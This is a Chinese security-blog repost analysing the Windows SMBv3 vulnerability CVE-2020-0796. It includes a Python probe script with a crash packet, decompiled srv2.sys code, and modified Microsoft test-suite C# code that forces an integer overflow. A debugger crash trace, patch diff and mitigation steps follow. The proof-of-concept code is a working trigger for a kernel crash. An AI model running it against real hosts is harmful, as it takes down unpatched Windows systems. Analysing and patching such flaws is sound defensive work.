版本永恒之蓝_新永恒之蓝?微软SMBv3高危漏洞(CVE20200796)分析复现

本文详细分析了Windows SMBv3的CVE-2020-0796漏洞,该漏洞可能导致远程执行代码。受影响的Windows 10和Server版本在处理特定请求时存在整数溢出问题,允许攻击者执行任意代码。文中介绍了漏洞的验证方法、静态和动态分析,以及微软提供的补丁和修复建议。
摘要由CSDN通过智能技术生成

更多全球网络安全资讯尽在邑安全

描述

重要 2020 年 3 月 12 日 — Microsoft 发布了 CVE-2020-0796 | Windows SMBv3 客户端/服务器远程执行代码漏洞,以解决此漏洞。有关此问题的详细信息(包括可用安全更新的下载链接),请查看 CVE-2020-0796。Microsoft 发现,Microsoft 服务器消息块 3.1.1 (SMBv3) 协议处理某些请求的方式中存在远程执行代码漏洞。成功利用此漏洞的攻击者可以获取在目标 SMB 服务器或 SMB 客户端上执行代码的能力。

影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

验证目标主机的SMB协议版本

  • 发送SMB数据包至目标主机,在返回包中可以获取目标主机的SMB版本号(3.1.1)和协商上下文数(2)

    02990c9fa2c294e77c86a47e4cb8e1b3.png

    a293c6aea95be73b0e4e87c3db7f96db.png

  • 注意!通过测试,已打补丁和未打补丁返回的数据包都包含SMB协议版本号3.1.1和协商上下文数,所以并不能百分比验证目标是否真实存在该漏洞

  • 测试脚本

#coding=utf-8import sysimport socketimport structdef varify(ip):
IP = list(map(int, ip.strip().split('.')[:2]))if IP[0] == 10 or IP[0] == 127:passelif IP[0] == 172 and IP[1] in range(16, 31):passelif IP[0] == 192 and IP[1] == 168:passelse:print("Error IP!")
exit()
SMB_negotiation = "000000b2fe534d424000010000000000" + \"00002100100000000000000000000000" + \"00000000fffe00000000000000000000" + \"00000000000000000000000000000000" + \"0000000024000500010000007f000000" + \"00000000000000000000000000000000" + \"70000000020000000202100200030203" + \"11030000010026000000000001002000" + \"01006c6110bcde71a04e50810ffac076" + \"00000000000000000000000000000000" + \"bf7c000003000a000000000001000000" + \"000000000100"
s = socket.socket(2, 1)
s.connect((ip, 445))
s.send(bytes.fromhex(SMB_negotiation))
rcv_buf = s.recv(4096)
smb_vers = struct.unpack(", rcv_buf[72:74])[0]if rcv_buf.endswith(b"\x00"*7 + b"\x01\x00"):print("SMB v" + hex(smb_vers)[2:] + " with LZNT1 detected.")elif rcv_buf.endswith(b"\x00"*7 + b"\x02\x00"):print("SMB v" + hex(smb_vers)[2:] + " with LZ77 detected.")elif rcv_buf.endswith(b"\x00"*7 + b"\x03\x00"):print("SMB v" + hex(smb_vers)[2:] + " with LZ77+Huffman detected.")else:print("SMB v" + hex(smb_vers)[2:] + " with no compression.")
SMB_crash = "00000042fc534d423200000001000000" + \"ffffffffffffffffffffffffffffffff" + \"ffffffffffffffffffffffffffffffff" + \"ffffffffffffffffffffffffffffffff" + \"ffffffffffff"
s.close()if __name__ == "__main__":if len(sys.argv) != 2:
exit()else:
varify(sys.argv[1])

静态分析

加载漏洞文件srv2.sys(C:\Windows\System32\drivers\srv2.sys)的反汇编程序,找到与compression相关的函数,因为是上述说明中提到的需要关闭的功能。

  • Srv2DecompressMessageAsync

  • Srv2DecompressData

  • Smb2GetHonorCompressionAlgOrder

  • Smb2SelectCompressionAlgorithm

  • Smb2ValidateCompressionCapabilities

  • SMB v3中支持数据压缩,如果SMB Header中的ProtocolId为0x424D53FC也就是0xFC, 'S', 'M', 'B'.那么就说明数据是压缩的,这时smb会调用压缩解压处理的函数.

  • 首先SMB会调用Srv2ReceiveHandler函数接收smb数据包,并根据ProtocoIId设置对应的处理函数。

__int64 __fastcall Srv2ReceiveHandler(__int64 a1, void *Src, __int64 a3, unsigned int a4, unsigned int *a5, char *Srca, struct _SLIST_ENTRY *a7, _QWORD *a8)
{
...// 这里判断头部ProtocolIdif ( **((_DWORD **)&v20[15].Next[1].Next + 1) == 'BMS\xFC' )
{if ( KeGetCurrentIrql() > 1u )
{
v20[14].Next = (_SLIST_ENTRY *)v11;
v20[2].Next = (_SLIST_ENTRY *)Srv2DecompressMessageAsync;
v43 = HIDWORD(v20->Next) == 5;*((_DWORD *)&v20[3].Next + 2) = 0;if ( v43 )
{LOBYTE(v71) = 1;LOBYTE(v35) = 1;SRV2_PERF_ENTER_EX(&v20[32].Next + 1, v35, 307i64, "Srv2PostToThreadPool", (_DWORD)v71);
}
v44 = *((_QWORD *)&v20[3].Next[8].Next + 1);
v45 = *(_QWORD *)(v44 + 8i64 * KeGetCurrentNodeNumber() + 8);if ( !ExpInterlockedPushEntrySList((PSLIST_HEADER)(v45 + 16), v20 + 1) && *(_WORD *)(v45 + 66) )RfspThreadPoolNodeWakeIdleWorker(v45);goto LABEL_168;
}
}
}

从代码中我们可以看出如果是压缩的数据则调用Srv2DecompressMessageAsync函数进行解压缩. Srv2DecompressMessageAsync会调用Srv2DecompressData函数.

Srv2DecompressData函数的代码如下:

__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
__int64 smb_packet; // rdi
__int64 _header; // rax
SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
AAA smb_header_compress; // xmm0_8unsigned int CompressionAlgorithm; // ebp
__int64 __alloc_buffer; // rax
__int64 __allocated_buffer; // rbxint PayloadSize; // eax
SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]int UncompressedSize; // [rsp+60h] [rbp+8h]
UncompressedSize = 0;
smb_packet = _smb_packet;
_header = *(_QWORD *)(_smb_packet + 0xF0);// 这里判断数据包长度的最小值if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )return 0xC000090Bi64;// [_header+0x18]中为客户端传进来的Buffer
v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
Header = v3;// 检查所使用的压缩算法是否与NEGOTIATE_PACKET序列中协商的算法相同*(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
(__m128i)v3,offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )return 0xC00000BBi64;// OriginalCompressedSegmentSize + CompressedSegmentSize,这里没有检查相加的值,导致整数溢出,分配一个较小的__alloc_buffer
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(
Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),0i64
);
__allocated_buffer = __alloc_buffer;if ( !__alloc_buffer )return 0xC000009Ai64;// 在新分配的缓冲区中解压缩数据,并检查未压缩的大小是否等于Header.OriginalCompressedSegmentSize中填写的大小。if ( (int)SmbCompressionDecompress(
CompressionAlgorithm,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength+ 0x10i64),*(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
(BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),//__alloc_buffer,会传入SmbCompressionDecompress函数进行Decompress处理。
Header.OriginalCompressedSegmentSize,&UncompressedSize) < 0|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
{SrvNetFreeBuffer(__allocated_buffer);return 0xC000090Bi64;
}if ( Header.OffsetOrLength )
{memmove(*(void **)(__allocated_buffer + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
(unsigned int)Header.OffsetOrLength);
PayloadSize = UncompressedSize;
}*(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);return 0i64;
}

通过上述代码我们可以看到

__alloc_buffer = SrvNetAllocateBuffer((unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),0i64);

这个Header中的两个长度都没有进行检查. 下面是微软官方文档中对这两个长度的描述:

86b2584f2e47f757b3af768a8c1db3d2.png

OriginalCompressedSegmentSize (4 bytes) The size, in bytes, of the uncompressed data segment.

Offset/Length (4 bytes) If SMB2_COMPRESSION_FLAG_CHAINED is set in Flags field, this field MUST be interpreted as Length. The length, in bytes, of the compressed payload. Otherwise, this field MUST be interpreted as Offset. The offset, in bytes, from the end of this structure to the start of compressed data segment.

OriginalCompressedSegmentSize和OffsetOrLength的值均为32位,并且Srv2DecompressData在分配新缓冲区之前将其添加,说明可能存在的整数溢出。

随后在Srv2DecompressData函数中,会调用SmbCompressionDecompress,进而最终调用nt!RtlDecompressBufferXpressLz进行数据解压,调用路径如下:

fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1

nt!RtlDecompressBufferXpressLz会在smb compress协议数据包里解析字段,其中包含需要Decompress buffer的大小,并和之前通过SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize进行比较,确认其大小不大于OriginalCompressedSegmentSize,随后进行memcpy。

signed __int64 __fastcall RtlDecompressBufferXpressLz(_BYTE *a1, unsigned int a2, _BYTE *a3, unsigned int a4, __int64 a5, _DWORD *a6)
{
v9 = &a1[a2];
....if ( &a1[v21] > v9 )return 0xC0000242i64;
...
v33 = a1;
a1 += v21;qmemcpy(v33, v23, v21);
}

如上伪代码所示,a1指向SrvNetAllocateBuffer分配的__allocated_buffer,a2的值为OriginalCompressedSegmentSize,v21的值为从smb数据包中解析的解压缩数据的大小,该值可由攻击者控制,若该大小大于OriginalCompressedSegmentSize,则会返回0xC0000242错误,由于之前对长度没有检查,如果我们传入一个很大的OriginalCompressedSegmentSize触发整数溢出,同时v21就可以设置一个极大值,而依然可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出。

动态分析

  • 准备工作

实现SMB v3.1.1压缩功能的SMB客户端

Samba/CIFS表示,由于它们未实现压缩功能,因此它们不受此漏洞的影响,并且通常的可疑对象(pysmbclient或非法的smbclient)均不支持。但是在GitHub可以找到了功能完整的SMB v2客户端实现:https://github.com/microsoft/WindowsProtocolTestSuites/

// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{/// /// SMB2 Compression Utility.///
public static class Smb2Compression
{
private static uint i = 0;/// /// Compress SMB2 packet./// /// The SMB2 packet./// Compression info./// SMB2 role./// The offset where compression start, default zero.///
public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
{
var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);/*if (compressionAlgorithm == CompressionAlgorithm.NONE)
{
return packet;
}*/// HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)if (i < 3)
{
i++;return packet;
}
var packetBytes = packet.ToBytes();
var compressor = GetCompressor(compressionAlgorithm);// HACK: Insane length to trigger the integrer overflow
offset = 0xffffffff;
var compressedPacket = new Smb2CompressedPacket();
compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
compressedPacket.Header.Reserved = 0;
compressedPacket.Header.Offset = offset;
compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());
var compressedPackectBytes = compressedPacket.ToBytes();// HACK: force compressed packet to be sentreturn compressedPacket;// Check whether compression shrinks the on-wire packet size// if (compressedPackectBytes.Length < packetBytes.Length)// {// compressedPacket.OriginalPacket = packet;// return compressedPacket;// }// else// {// return packet;// }
}
}
}
namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
class Program
{static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
{
Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };// NEGOTIATION is done in "plaintext", this is the call within UserLogon:// client.Negotiate(// 0,// 1,// Packet_Header_Flags_Values.NONE,// messageId++,// new DialectRevision[] { DialectRevision.Smb311 },// SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,// Capabilities_Values.NONE,// clientGuid,// out selectedDialect,// out gssToken,// out header,// out negotiateResp,// preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression// compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }// );if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))return;// From now on, we compress every new packet
client.CompressionInfo.CompressAllPackets = true;// Get tree information about a remote share (which does not exists)
TREE_CONNECT_Response treeConnectResp;
string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);// trigger crash here
client.TreeConnect(1,1,
Packet_Header_Flags_Values.FLAGS_SIGNED,
messageId++,
sessionId,
uncSharePath,
out treeId,
out header,
out treeConnectResp
);
}static void Main(string[] args)
{
Console.WriteLine("Hello World!");
Logger logger = new Logger();
AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");
BranchCacheDetector bcd = new BranchCacheDetector(
logger,"DESKTOP-SMBVULN","DESKTOP-SMBVULN",
accountCredential
);
DetectionInfo info = new DetectionInfo();
info.SelectedTransport = "SMB2";
info.ContentServerName = "DESKTOP-SMBVULN";
info.UserName = "Ghost";
info.Password = "Ghost";TriggerCrash(bcd,info);
Console.WriteLine("Goodbye World!");
}
}
}

调试过程

Breakpoint 3 hit
srv2!Srv2DecompressData+0x6f:
fffff800`50ad7ecf 48c1e820 shr rax,20h
kd> p
srv2!Srv2DecompressData+0x73:
fffff800`50ad7ed3 48c1e920 shr rcx,20h
kd>
srv2!Srv2DecompressData+0x77:
fffff800`50ad7ed7 03c8 add ecx,eax
kd> r eax
eax=7e
kd> r ecx
ecx=ffffffff
kd> p
srv2!Srv2DecompressData+0x79:
fffff800`50ad7ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)]
kd> r ecx
ecx=7d
kd> p
srv2!Srv2DecompressData+0x80:
fffff800`50ad7ee0 e8fbe29704 call srvnet!SrvNetAllocateBuffer (fffff800`554561e0)
kd> p
srv2!Srv2DecompressData+0x85:
fffff800`50ad7ee5 488bd8 mov rbx,rax
kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff800`51a79580 cc int 3
kd> !analyze -v
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8483c09e7e2f, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
Debugging Details:
------------------
READ_ADDRESS: ffff8483c09e7e2f Nonpaged pool
TRAP_FRAME: fffff105d6992c00 -- (.trap 0xfffff105d6992c00)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f
rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000
rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f
r8=ffff8483c09e7e2f r9=0000000000000078 r10=ffff8483bccd1f6d
r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
nt!RtlDecompressBufferXpressLz+0x50:
fffff800`51a0e750 418b08 mov ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=????????
Resetting default scope
STACK_TEXT:
fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus
fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12
fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952
fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107
fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa
fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f
fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a
fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1
fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e
fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e
fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue
fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33
fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d
fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117
fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37
fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55
fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a

本地漏洞复现

6f0a1fb2619feaf519ef284ccb6ff535.gif

补丁对比

左边为漏洞版本,右边为Patch版本,通过对比可以发现增加了一个函数对OriginalCompressedSegmentSize和OffsetOrLength进行检查

b3f3b45e3970f1a5c2eaf8cfe52f5d6a.png

在申请内存前判断了 a1(OriginalCompressedSegmentSize)+a2(OffsetOrLength) 相加后的和是否小于其中一个加数,则将其中一个赋值给返回值,防止整形溢出。

ccbc8ce9e392059ae4c0eccfdb88d39d.png

修复建议

3月12日微软正式发布漏洞通告和补丁方案

请在根据如下链接下载修复补丁进行修复

CVE-2020-0796 | Windows SMBv3 Client/Server Remote Code Execution Vulnerability无法安装更新的用户可以选择遵循微软官方指南,停用 SMBv3 中的压缩功能

powershell 中运行如下命令

停用

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

恢复

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

该修复对客户端无效,请勿连接不信任的 SMB 服务器。以免遭受该漏洞影响。

应及时进行Microsoft Windows版本更新并且保持Windows自动更新开启。

windows server / windows 检测并开启Windows自动更新流程如下

点击开始菜单,在弹出的菜单中选择“控制面板”进行下一步。
点击控制面板页面中的“系统和安全”,进入设置。
在弹出的新的界面中选择“windows update”中的“启用或禁用自动更新”。
然后进入设置窗口,展开下拉菜单项,选择其中的自动安装更新(推荐)。

补丁链接

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762

参考链接

http://blogs.360.cn/post/CVE-2020-0796.html

欢迎收藏并分享朋友圈,让五邑人网络更安全

e1b0410b677aa0e351e7ba319457cd7e.png

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

Django入门之旅-启程

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值